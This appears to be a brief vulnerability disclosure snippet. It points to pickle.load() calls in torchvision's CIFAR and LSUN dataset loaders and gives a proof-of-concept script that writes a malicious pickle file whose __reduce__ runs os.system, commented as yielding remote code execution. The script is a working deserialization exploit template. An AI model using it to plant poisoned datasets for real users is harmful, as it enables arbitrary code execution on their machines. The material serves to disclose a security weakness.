Views
No views yet
pickle.load() paths in dataset loading utilities:torchvision/datasets/cifar.py:83entry = pickle.load(f, encoding="latin1")torchvision/datasets/cifar.py:100data = pickle.load(infile, encoding="latin1")torchvision/datasets/lsun.py:28self.keys = pickle.load(open(cache_file, "rb"))1import pickle, os
2
3class Pwn:
4 def __reduce__(self):
5 return (os.system, ('id',))
6
7with open('evil_dataset.pkl', 'wb') as f:
8 pickle.dump(Pwn(), f)
9
10# When torchvision loads this dataset → RCE